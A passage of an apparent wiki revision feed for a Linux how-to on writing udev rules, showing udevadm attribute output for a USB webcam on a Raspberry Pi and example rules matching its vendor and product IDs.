    ATTRS{bmAttributes}==&amp;quot;80&amp;quot;&lt;br /&gt;
    ATTRS{bNumConfigurations}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{maxchild}==&amp;quot;0&amp;quot;&lt;br /&gt;
    ATTRS{bcdDevice}==&amp;quot;0100&amp;quot;&lt;br /&gt;
    ATTRS{avoid_reset_quirk}==&amp;quot;0&amp;quot;&lt;br /&gt;
    ATTRS{quirks}==&amp;quot;0x0&amp;quot;&lt;br /&gt;
    ATTRS{version}==&amp;quot; 2.00&amp;quot;&lt;br /&gt;
    ATTRS{urbnum}==&amp;quot;38&amp;quot;&lt;br /&gt;
    ATTRS{ltm_capable}==&amp;quot;no&amp;quot;&lt;br /&gt;
    ATTRS{manufacturer}==&amp;quot;Microsoft&amp;quot;&lt;br /&gt;
    ATTRS{removable}==&amp;quot;removable&amp;quot;&lt;br /&gt;
    ATTRS{idProduct}==&amp;quot;0761&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceClass}==&amp;quot;ef&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  looking at parent device &#039;/devices/platform/bcm2708_usb/usb1/1-1&#039;:&lt;br /&gt;
    KERNELS==&amp;quot;1-1&amp;quot;&lt;br /&gt;
    SUBSYSTEMS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    DRIVERS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceSubClass}==&amp;quot;00&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceProtocol}==&amp;quot;02&amp;quot;&lt;br /&gt;
    ATTRS{devpath}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{idVendor}==&amp;quot;0424&amp;quot;&lt;br /&gt;
    ATTRS{speed}==&amp;quot;480&amp;quot;&lt;br /&gt;
    ATTRS{bNumInterfaces}==&amp;quot; 1&amp;quot;&lt;br /&gt;
    ATTRS{bConfigurationValue}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bMaxPacketSize0}==&amp;quot;64&amp;quot;&lt;br /&gt;
    ATTRS{busnum}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{devnum}==&amp;quot;2&amp;quot;&lt;br /&gt;
    ATTRS{configuration}==&amp;quot;&amp;quot;&lt;br /&gt;
    ATTRS{bMaxPower}==&amp;quot;2mA&amp;quot;&lt;br /&gt;
    ATTRS{authorized}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bmAttributes}==&amp;quot;e0&amp;quot;&lt;br /&gt;
    ATTRS{bNumConfigurations}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{maxchild}==&amp;quot;3&amp;quot;&lt;br /&gt;
    ATTRS{bcdDevice}==&amp;quot;0200&amp;quot;&lt;br /&gt;
    ATTRS{avoid_reset_quirk}==&amp;quot;0&amp;quot;&lt;br /&gt;
    ATTRS{quirks}==&amp;quot;0x0&amp;quot;&lt;br /&gt;
    ATTRS{version}==&amp;quot; 2.00&amp;quot;&lt;br /&gt;
    ATTRS{urbnum}==&amp;quot;80&amp;quot;&lt;br /&gt;
    ATTRS{ltm_capable}==&amp;quot;no&amp;quot;&lt;br /&gt;
    ATTRS{removable}==&amp;quot;unknown&amp;quot;&lt;br /&gt;
    ATTRS{idProduct}==&amp;quot;9512&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceClass}==&amp;quot;09&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  looking at parent device &#039;/devices/platform/bcm2708_usb/usb1&#039;:&lt;br /&gt;
    KERNELS==&amp;quot;usb1&amp;quot;&lt;br /&gt;
    SUBSYSTEMS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    DRIVERS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceSubClass}==&amp;quot;00&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceProtocol}==&amp;quot;01&amp;quot;&lt;br /&gt;
    ATTRS{devpath}==&amp;quot;0&amp;quot;&lt;br /&gt;
    ATTRS{idVendor}==&amp;quot;1d6b&amp;quot;&lt;br /&gt;
    ATTRS{speed}==&amp;quot;480&amp;quot;&lt;br /&gt;
    ATTRS{bNumInterfaces}==&amp;quot; 1&amp;quot;&lt;br /&gt;
    ATTRS{bConfigurationValue}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bMaxPacketSize0}==&amp;quot;64&amp;quot;&lt;br /&gt;
    ATTRS{authorized_default}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{busnum}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{devnum}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{configuration}==&amp;quot;&amp;quot;&lt;br /&gt;
    ATTRS{bMaxPower}==&amp;quot;0mA&amp;quot;&lt;br /&gt;
    ATTRS{authorized}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bmAttributes}==&amp;quot;e0&amp;quot;&lt;br /&gt;
    ATTRS{bNumConfigurations}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{maxchild}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bcdDevice}==&amp;quot;0318&amp;quot;&lt;br /&gt;
    ATTRS{avoid_reset_quirk}==&amp;quot;0&amp;quot;&lt;br /&gt;
    ATTRS{quirks}==&amp;quot;0x0&amp;quot;&lt;br /&gt;
    ATTRS{serial}==&amp;quot;bcm2708_usb&amp;quot;&lt;br /&gt;
    ATTRS{version}==&amp;quot; 2.00&amp;quot;&lt;br /&gt;
    ATTRS{urbnum}==&amp;quot;26&amp;quot;&lt;br /&gt;
    ATTRS{ltm_capable}==&amp;quot;no&amp;quot;&lt;br /&gt;
    ATTRS{manufacturer}==&amp;quot;Linux 3.18.9-3-ARCH dwc_otg_hcd&amp;quot;&lt;br /&gt;
    ATTRS{removable}==&amp;quot;unknown&amp;quot;&lt;br /&gt;
    ATTRS{idProduct}==&amp;quot;0002&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceClass}==&amp;quot;09&amp;quot;&lt;br /&gt;
    ATTRS{product}==&amp;quot;DWC OTG Controller&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  looking at parent device &#039;/devices/platform/bcm2708_usb&#039;:&lt;br /&gt;
    KERNELS==&amp;quot;bcm2708_usb&amp;quot;&lt;br /&gt;
    SUBSYSTEMS==&amp;quot;platform&amp;quot;&lt;br /&gt;
    DRIVERS==&amp;quot;dwc_otg&amp;quot;&lt;br /&gt;
    ATTRS{hnp}==&amp;quot;HstNegScs = 0x0&amp;quot;&lt;br /&gt;
    ATTRS{srp}==&amp;quot;SesReqScs = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{regvalue}==&amp;quot;invalid offset&amp;quot;&lt;br /&gt;
    ATTRS{hsic_connect}==&amp;quot;HSIC Connect = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{guid}==&amp;quot;GUID = 0x2708a000&amp;quot;&lt;br /&gt;
    ATTRS{mode}==&amp;quot;Mode = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{srpcapable}==&amp;quot;SRPCapable = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{regdump}==&amp;quot;Register Dump&amp;quot;&lt;br /&gt;
    ATTRS{gpvndctl}==&amp;quot;GPVNDCTL = 0x00000000&amp;quot;&lt;br /&gt;
    ATTRS{ggpio}==&amp;quot;GGPIO = 0x00000000&amp;quot;&lt;br /&gt;
    ATTRS{hprt0}==&amp;quot;HPRT0 = 0x00001005&amp;quot;&lt;br /&gt;
    ATTRS{wr_reg_test}==&amp;quot;Time to write GNPTXFSIZ reg 10000000 times: 670 msecs (67 jiffies)&amp;quot;&lt;br /&gt;
    ATTRS{driver_override}==&amp;quot;(null)&amp;quot;&lt;br /&gt;
    ATTRS{hcd_frrem}==&amp;quot;HCD Dump Frame Remaining&amp;quot;&lt;br /&gt;
    ATTRS{mode_ch_tim_en}==&amp;quot;Mode Change Ready Timer Enable = 0x0&amp;quot;&lt;br /&gt;
    ATTRS{gnptxfsiz}==&amp;quot;GNPTXFSIZ = 0x01000306&amp;quot;&lt;br /&gt;
    ATTRS{remote_wakeup}==&amp;quot;Remote Wakeup Sig = 0 Enabled = 0 LPM Remote Wakeup = 0&amp;quot;&lt;br /&gt;
    ATTRS{busconnected}==&amp;quot;Bus Connected = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{hcddump}==&amp;quot;HCD Dump&amp;quot;&lt;br /&gt;
    ATTRS{gotgctl}==&amp;quot;GOTGCTL = 0x001c0001&amp;quot;&lt;br /&gt;
    ATTRS{spramdump}==&amp;quot;SPRAM Dump&amp;quot;&lt;br /&gt;
    ATTRS{grxfsiz}==&amp;quot;GRXFSIZ = 0x00000306&amp;quot;&lt;br /&gt;
    ATTRS{gsnpsid}==&amp;quot;GSNPSID = 0x4f54280a&amp;quot;&lt;br /&gt;
    ATTRS{gusbcfg}==&amp;quot;GUSBCFG = 0x00001700&amp;quot;&lt;br /&gt;
    ATTRS{hptxfsiz}==&amp;quot;HPTXFSIZ = 0x02000406&amp;quot;&lt;br /&gt;
    ATTRS{devspeed}==&amp;quot;Device Speed = 0x0&amp;quot;&lt;br /&gt;
    ATTRS{fr_interval}==&amp;quot;Frame Interval = 0x1d4c&amp;quot;&lt;br /&gt;
    ATTRS{rem_wakeup_pwrdn}==&amp;quot;&amp;quot;&lt;br /&gt;
    ATTRS{bussuspend}==&amp;quot;Bus Suspend = 0x0&amp;quot;&lt;br /&gt;
    ATTRS{buspower}==&amp;quot;Bus Power = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{hnpcapable}==&amp;quot;HNPCapable = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{rd_reg_test}==&amp;quot;Time to read GNPTXFSIZ reg 10000000 times: 1510 msecs (151 jiffies)&amp;quot;&lt;br /&gt;
    ATTRS{enumspeed}==&amp;quot;Device Enumeration Speed = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{inv_sel_hsic}==&amp;quot;Invert Select HSIC = 0x0&amp;quot;&lt;br /&gt;
    ATTRS{regoffset}==&amp;quot;0xffffffff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  looking at parent device &#039;/devices/platform&#039;:&lt;br /&gt;
    KERNELS==&amp;quot;platform&amp;quot;&lt;br /&gt;
    SUBSYSTEMS==&amp;quot;&amp;quot;&lt;br /&gt;
    DRIVERS==&amp;quot;&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the udev rules file, match all attributes that uniquely identify the device you&#039;re targetting. In the example above, using the &amp;lt;code&amp;gt;SUBSYSTEM&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ATTRS{idVendor}&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;ATTRS{idProduct}&amp;lt;/code&amp;gt; would be sufficient. Eg:&lt;br /&gt;
 SUBSYSTEM==&amp;quot;video4linux&amp;quot;, ATTRS{idVendor}==&amp;quot;045e&amp;quot;&lt;br /&gt;
&lt;br /&gt;
In the second half of the line, you may define values for this device. If the webcam needs to be world read and writable, assign &amp;lt;code&amp;gt;0666&amp;lt;/code&amp;gt; to &amp;lt;code&amp;gt;MODE&amp;lt;/code&amp;gt;  like so:&lt;br /&gt;
 SUBSYSTEM==&amp;quot;video4linux&amp;quot;, ATTRS{idVendor}==&amp;quot;045e&amp;quot;, ATTRS{idProduct}==&amp;quot;0761&amp;quot;, MODE=&amp;quot;0666&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Restart the udev daemon and check the logs for any errors. If the rules are correct, replugging the device should have have the affects defined in the rules.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== See Also ==&lt;br /&gt;
* http://hackaday.com/2009/09/18/how-to-write-udev-rules/&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Udev_Rules&amp;diff=917</id>
		<title>Udev Rules</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Udev_Rules&amp;diff=917"/>
		<updated>2015-03-23T08:35:54Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Creating New &amp;lt;code&amp;gt;udev&amp;lt;/code&amp;gt; rules ==&lt;br /&gt;
&lt;br /&gt;
Place new rules in &amp;lt;code&amp;gt;/etc/udev/rules.d&amp;lt;/code&amp;gt;. The filename should be numbered.&lt;br /&gt;
&lt;br /&gt;
If you are attempting to write a rule for a specific device, you should plug the device to your computer now and determine what the device path is. You must then list out all the udev properties of the device using the &amp;lt;code&amp;gt;udevadm&amp;lt;/code&amp;gt; command.&lt;br /&gt;
&lt;br /&gt;
For example, to create a udev rule for a USB Webcam at &amp;lt;code&amp;gt;/etc/video0&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
# udevadm info -a -p `udevadm info -q path -n /dev/video0`&lt;br /&gt;
&lt;br /&gt;
Udevadm info starts with the device specified by the devpath and then&lt;br /&gt;
walks up the chain of parent devices. It prints for every device&lt;br /&gt;
found, all possible attributes in the udev rules key format.&lt;br /&gt;
A rule to match, can be composed by the attributes of the device&lt;br /&gt;
and the attributes from one single parent device.&lt;br /&gt;
&lt;br /&gt;
  looking at device &#039;/devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0/video4linux/video0&#039;:&lt;br /&gt;
    KERNEL==&amp;quot;video0&amp;quot;&lt;br /&gt;
    SUBSYSTEM==&amp;quot;video4linux&amp;quot;&lt;br /&gt;
    DRIVER==&amp;quot;&amp;quot;&lt;br /&gt;
    ATTR{debug}==&amp;quot;0&amp;quot;&lt;br /&gt;
    ATTR{index}==&amp;quot;0&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  looking at parent device &#039;/devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0&#039;:&lt;br /&gt;
    KERNELS==&amp;quot;1-1.3:1.0&amp;quot;&lt;br /&gt;
    SUBSYSTEMS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    DRIVERS==&amp;quot;uvcvideo&amp;quot;&lt;br /&gt;
    ATTRS{bInterfaceClass}==&amp;quot;0e&amp;quot;&lt;br /&gt;
    ATTRS{iad_bFunctionClass}==&amp;quot;0e&amp;quot;&lt;br /&gt;
    ATTRS{iad_bFirstInterface}==&amp;quot;00&amp;quot;&lt;br /&gt;
    ATTRS{bInterfaceSubClass}==&amp;quot;01&amp;quot;&lt;br /&gt;
    ATTRS{bInterfaceProtocol}==&amp;quot;00&amp;quot;&lt;br /&gt;
    ATTRS{bNumEndpoints}==&amp;quot;01&amp;quot;&lt;br /&gt;
    ATTRS{iad_bFunctionSubClass}==&amp;quot;03&amp;quot;&lt;br /&gt;
    ATTRS{iad_bFunctionProtocol}==&amp;quot;00&amp;quot;&lt;br /&gt;
    ATTRS{supports_autosuspend}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{iad_bInterfaceCount}==&amp;quot;02&amp;quot;&lt;br /&gt;
    ATTRS{bAlternateSetting}==&amp;quot; 0&amp;quot;&lt;br /&gt;
    ATTRS{bInterfaceNumber}==&amp;quot;00&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  looking at parent device &#039;/devices/platform/bcm2708_usb/usb1/1-1/1-1.3&#039;:&lt;br /&gt;
    KERNELS==&amp;quot;1-1.3&amp;quot;&lt;br /&gt;
    SUBSYSTEMS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    DRIVERS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceSubClass}==&amp;quot;02&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceProtocol}==&amp;quot;01&amp;quot;&lt;br /&gt;
    ATTRS{devpath}==&amp;quot;1.3&amp;quot;&lt;br /&gt;
    ATTRS{idVendor}==&amp;quot;045e&amp;quot;&lt;br /&gt;
    ATTRS{speed}==&amp;quot;480&amp;quot;&lt;br /&gt;
    ATTRS{bNumInterfaces}==&amp;quot; 4&amp;quot;&lt;br /&gt;
    ATTRS{bConfigurationValue}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bMaxPacketSize0}==&amp;quot;64&amp;quot;&lt;br /&gt;
    ATTRS{busnum}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{devnum}==&amp;quot;6&amp;quot;&lt;br /&gt;
    ATTRS{configuration}==&amp;quot;&amp;quot;&lt;br /&gt;
    ATTRS{bMaxPower}==&amp;quot;500mA&amp;quot;&lt;br /&gt;
    ATTRS{authorized}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bmAttributes}==&amp;quot;80&amp;quot;&lt;br /&gt;
    ATTRS{bNumConfigurations}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{maxchild}==&amp;quot;0&amp;quot;&lt;br /&gt;
    ATTRS{bcdDevice}==&amp;quot;0100&amp;quot;&lt;br /&gt;
    ATTRS{avoid_reset_quirk}==&amp;quot;0&amp;quot;&lt;br /&gt;
    ATTRS{quirks}==&amp;quot;0x0&amp;quot;&lt;br /&gt;
    ATTRS{version}==&amp;quot; 2.00&amp;quot;&lt;br /&gt;
    ATTRS{urbnum}==&amp;quot;38&amp;quot;&lt;br /&gt;
    ATTRS{ltm_capable}==&amp;quot;no&amp;quot;&lt;br /&gt;
    ATTRS{manufacturer}==&amp;quot;Microsoft&amp;quot;&lt;br /&gt;
    ATTRS{removable}==&amp;quot;removable&amp;quot;&lt;br /&gt;
    ATTRS{idProduct}==&amp;quot;0761&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceClass}==&amp;quot;ef&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  looking at parent device &#039;/devices/platform/bcm2708_usb/usb1/1-1&#039;:&lt;br /&gt;
    KERNELS==&amp;quot;1-1&amp;quot;&lt;br /&gt;
    SUBSYSTEMS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    DRIVERS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceSubClass}==&amp;quot;00&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceProtocol}==&amp;quot;02&amp;quot;&lt;br /&gt;
    ATTRS{devpath}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{idVendor}==&amp;quot;0424&amp;quot;&lt;br /&gt;
    ATTRS{speed}==&amp;quot;480&amp;quot;&lt;br /&gt;
    ATTRS{bNumInterfaces}==&amp;quot; 1&amp;quot;&lt;br /&gt;
    ATTRS{bConfigurationValue}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bMaxPacketSize0}==&amp;quot;64&amp;quot;&lt;br /&gt;
    ATTRS{busnum}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{devnum}==&amp;quot;2&amp;quot;&lt;br /&gt;
    ATTRS{configuration}==&amp;quot;&amp;quot;&lt;br /&gt;
    ATTRS{bMaxPower}==&amp;quot;2mA&amp;quot;&lt;br /&gt;
    ATTRS{authorized}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bmAttributes}==&amp;quot;e0&amp;quot;&lt;br /&gt;
    ATTRS{bNumConfigurations}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{maxchild}==&amp;quot;3&amp;quot;&lt;br /&gt;
    ATTRS{bcdDevice}==&amp;quot;0200&amp;quot;&lt;br /&gt;
    ATTRS{avoid_reset_quirk}==&amp;quot;0&amp;quot;&lt;br /&gt;
    ATTRS{quirks}==&amp;quot;0x0&amp;quot;&lt;br /&gt;
    ATTRS{version}==&amp;quot; 2.00&amp;quot;&lt;br /&gt;
    ATTRS{urbnum}==&amp;quot;80&amp;quot;&lt;br /&gt;
    ATTRS{ltm_capable}==&amp;quot;no&amp;quot;&lt;br /&gt;
    ATTRS{removable}==&amp;quot;unknown&amp;quot;&lt;br /&gt;
    ATTRS{idProduct}==&amp;quot;9512&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceClass}==&amp;quot;09&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  looking at parent device &#039;/devices/platform/bcm2708_usb/usb1&#039;:&lt;br /&gt;
    KERNELS==&amp;quot;usb1&amp;quot;&lt;br /&gt;
    SUBSYSTEMS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    DRIVERS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceSubClass}==&amp;quot;00&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceProtocol}==&amp;quot;01&amp;quot;&lt;br /&gt;
    ATTRS{devpath}==&amp;quot;0&amp;quot;&lt;br /&gt;
    ATTRS{idVendor}==&amp;quot;1d6b&amp;quot;&lt;br /&gt;
    ATTRS{speed}==&amp;quot;480&amp;quot;&lt;br /&gt;
    ATTRS{bNumInterfaces}==&amp;quot; 1&amp;quot;&lt;br /&gt;
    ATTRS{bConfigurationValue}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bMaxPacketSize0}==&amp;quot;64&amp;quot;&lt;br /&gt;
    ATTRS{authorized_default}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{busnum}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{devnum}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{configuration}==&amp;quot;&amp;quot;&lt;br /&gt;
    ATTRS{bMaxPower}==&amp;quot;0mA&amp;quot;&lt;br /&gt;
    ATTRS{authorized}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bmAttributes}==&amp;quot;e0&amp;quot;&lt;br /&gt;
    ATTRS{bNumConfigurations}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{maxchild}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bcdDevice}==&amp;quot;0318&amp;quot;&lt;br /&gt;
    ATTRS{avoid_reset_quirk}==&amp;quot;0&amp;quot;&lt;br /&gt;
    ATTRS{quirks}==&amp;quot;0x0&amp;quot;&lt;br /&gt;
    ATTRS{serial}==&amp;quot;bcm2708_usb&amp;quot;&lt;br /&gt;
    ATTRS{version}==&amp;quot; 2.00&amp;quot;&lt;br /&gt;
    ATTRS{urbnum}==&amp;quot;26&amp;quot;&lt;br /&gt;
    ATTRS{ltm_capable}==&amp;quot;no&amp;quot;&lt;br /&gt;
    ATTRS{manufacturer}==&amp;quot;Linux 3.18.9-3-ARCH dwc_otg_hcd&amp;quot;&lt;br /&gt;
    ATTRS{removable}==&amp;quot;unknown&amp;quot;&lt;br /&gt;
    ATTRS{idProduct}==&amp;quot;0002&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceClass}==&amp;quot;09&amp;quot;&lt;br /&gt;
    ATTRS{product}==&amp;quot;DWC OTG Controller&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  looking at parent device &#039;/devices/platform/bcm2708_usb&#039;:&lt;br /&gt;
    KERNELS==&amp;quot;bcm2708_usb&amp;quot;&lt;br /&gt;
    SUBSYSTEMS==&amp;quot;platform&amp;quot;&lt;br /&gt;
    DRIVERS==&amp;quot;dwc_otg&amp;quot;&lt;br /&gt;
    ATTRS{hnp}==&amp;quot;HstNegScs = 0x0&amp;quot;&lt;br /&gt;
    ATTRS{srp}==&amp;quot;SesReqScs = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{regvalue}==&amp;quot;invalid offset&amp;quot;&lt;br /&gt;
    ATTRS{hsic_connect}==&amp;quot;HSIC Connect = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{guid}==&amp;quot;GUID = 0x2708a000&amp;quot;&lt;br /&gt;
    ATTRS{mode}==&amp;quot;Mode = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{srpcapable}==&amp;quot;SRPCapable = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{regdump}==&amp;quot;Register Dump&amp;quot;&lt;br /&gt;
    ATTRS{gpvndctl}==&amp;quot;GPVNDCTL = 0x00000000&amp;quot;&lt;br /&gt;
    ATTRS{ggpio}==&amp;quot;GGPIO = 0x00000000&amp;quot;&lt;br /&gt;
    ATTRS{hprt0}==&amp;quot;HPRT0 = 0x00001005&amp;quot;&lt;br /&gt;
    ATTRS{wr_reg_test}==&amp;quot;Time to write GNPTXFSIZ reg 10000000 times: 670 msecs (67 jiffies)&amp;quot;&lt;br /&gt;
    ATTRS{driver_override}==&amp;quot;(null)&amp;quot;&lt;br /&gt;
    ATTRS{hcd_frrem}==&amp;quot;HCD Dump Frame Remaining&amp;quot;&lt;br /&gt;
    ATTRS{mode_ch_tim_en}==&amp;quot;Mode Change Ready Timer Enable = 0x0&amp;quot;&lt;br /&gt;
    ATTRS{gnptxfsiz}==&amp;quot;GNPTXFSIZ = 0x01000306&amp;quot;&lt;br /&gt;
    ATTRS{remote_wakeup}==&amp;quot;Remote Wakeup Sig = 0 Enabled = 0 LPM Remote Wakeup = 0&amp;quot;&lt;br /&gt;
    ATTRS{busconnected}==&amp;quot;Bus Connected = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{hcddump}==&amp;quot;HCD Dump&amp;quot;&lt;br /&gt;
    ATTRS{gotgctl}==&amp;quot;GOTGCTL = 0x001c0001&amp;quot;&lt;br /&gt;
    ATTRS{spramdump}==&amp;quot;SPRAM Dump&amp;quot;&lt;br /&gt;
    ATTRS{grxfsiz}==&amp;quot;GRXFSIZ = 0x00000306&amp;quot;&lt;br /&gt;
    ATTRS{gsnpsid}==&amp;quot;GSNPSID = 0x4f54280a&amp;quot;&lt;br /&gt;
    ATTRS{gusbcfg}==&amp;quot;GUSBCFG = 0x00001700&amp;quot;&lt;br /&gt;
    ATTRS{hptxfsiz}==&amp;quot;HPTXFSIZ = 0x02000406&amp;quot;&lt;br /&gt;
    ATTRS{devspeed}==&amp;quot;Device Speed = 0x0&amp;quot;&lt;br /&gt;
    ATTRS{fr_interval}==&amp;quot;Frame Interval = 0x1d4c&amp;quot;&lt;br /&gt;
    ATTRS{rem_wakeup_pwrdn}==&amp;quot;&amp;quot;&lt;br /&gt;
    ATTRS{bussuspend}==&amp;quot;Bus Suspend = 0x0&amp;quot;&lt;br /&gt;
    ATTRS{buspower}==&amp;quot;Bus Power = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{hnpcapable}==&amp;quot;HNPCapable = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{rd_reg_test}==&amp;quot;Time to read GNPTXFSIZ reg 10000000 times: 1510 msecs (151 jiffies)&amp;quot;&lt;br /&gt;
    ATTRS{enumspeed}==&amp;quot;Device Enumeration Speed = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{inv_sel_hsic}==&amp;quot;Invert Select HSIC = 0x0&amp;quot;&lt;br /&gt;
    ATTRS{regoffset}==&amp;quot;0xffffffff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  looking at parent device &#039;/devices/platform&#039;:&lt;br /&gt;
    KERNELS==&amp;quot;platform&amp;quot;&lt;br /&gt;
    SUBSYSTEMS==&amp;quot;&amp;quot;&lt;br /&gt;
    DRIVERS==&amp;quot;&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the udev rules file, match all attributes that uniquely identify the device you&#039;re targetting. In the example above, using the &amp;lt;code&amp;gt;SUBSYSTEM&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ATTRS{idVendor}&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;ATTRS{idProduct}&amp;lt;/code&amp;gt; would be sufficient. Eg:&lt;br /&gt;
 SUBSYSTEM==&amp;quot;video4linux&amp;quot;, ATTRS{idVendor}==&amp;quot;045e&amp;quot;&lt;br /&gt;
&lt;br /&gt;
In the second half of the line, you may define values for this device. If the webcam needs to be world read and writable, assign &amp;lt;code&amp;gt;0666&amp;lt;/code&amp;gt; to &amp;lt;code&amp;gt;MODE&amp;lt;/code&amp;gt;  like so:&lt;br /&gt;
 SUBSYSTEM==&amp;quot;video4linux&amp;quot;, ATTRS{idVendor}==&amp;quot;045e&amp;quot;, ATTRS{idProduct}==&amp;quot;0761&amp;quot;, MODE=&amp;quot;0666&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Restart the udev daemon and check the logs for any errors. If the rules are correct, replugging the device should have have the affects defined in the rules.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Udev_Rules&amp;diff=916</id>
		<title>Udev Rules</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Udev_Rules&amp;diff=916"/>
		<updated>2015-03-23T08:35:44Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: Created page with &amp;quot;== Creating New &amp;lt;code&amp;gt;udev&amp;lt;/code&amp;gt; rules ===  Place new rules in &amp;lt;code&amp;gt;/etc/udev/rules.d&amp;lt;/code&amp;gt;. The filename should be numbered.  If you are attempting to write a rule for a s...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Creating New &amp;lt;code&amp;gt;udev&amp;lt;/code&amp;gt; rules ===&lt;br /&gt;
&lt;br /&gt;
Place new rules in &amp;lt;code&amp;gt;/etc/udev/rules.d&amp;lt;/code&amp;gt;. The filename should be numbered.&lt;br /&gt;
&lt;br /&gt;
